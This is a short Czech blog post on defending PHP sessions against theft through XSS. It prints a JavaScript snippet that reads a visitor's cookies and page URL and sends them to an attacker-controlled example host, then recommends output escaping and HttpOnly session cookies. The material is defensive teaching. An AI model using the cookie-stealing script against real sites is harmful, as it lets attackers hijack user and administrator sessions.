Bezpečnost: Jak se bránit ukradení sezení?

PHP

POZOR! Článek jsem napsal před více jak rokem, a tudíž už nemusí reflektovat můj nynější názor nebo může být zastaralý.

Ukrást sezení znamená vzít z cizího klientského počítače sušenku (cookie) se jménem PHPSESSID a nastavit tuto hodnotu ve svém prohlížeči. Pro server jste pak stejný uživatel (máte stejné $_SESSION).

Abychom se mohli bránit, musíme vědět jak útok probíhá. Útočník například v poli pro Jméno vyplní následující kód:

Že vypadá na první pohled neškodně? A co když soubor http://ex.cz/i.js bude obsahovat toto?

function o () {
	var t_id = document.cookie;
	var t_url = document.URL;
	jQuery.ajax('http://ex.cz/i.php?id='+t_id+'&url='+t_url,{dataType: 'jsonp'});									
}
o();

(jQuery je tam pouze pro zjednodušení příkladu, pravý útočník bude mít propracovaný kód, která rozhodně žádnou knihovnu nepotřebuje.)

Nyní, když administrátor ve svém interním systému prohlédne jméno a nemá ošetřené vstupní data proti XSS, spustí se mu skript, který odešle na útočníkův server všechna cookies a URL adresu. Tedy bude znát PHPSESSID i adresu administrace.

Bráníme se tedy zaprvé tím, že máme vše ošetřené přes htmlspecialchars() (či podobné). To je základ všeho a je dobré využívat vlastnosti frameworků (například Nette), které to dělají automaticky.

Zadruhé máme možnost změnit jméno PHPSESSID na jiné pomocí funkce session_name(‚jinejmeno‘). Ale to myslím si zbytečné, protože útočník v našem případě vidí všechna cookies.

Zatřetí, to nejdůležitější, zablokujeme prohlížeči přístup k sušenkám pomocí direktivity v php.ini

session.cookie_httponly = 1

Znáte někoho, komu by článek mohl pomoct? Zasdílejte mu ho :)

Komentáře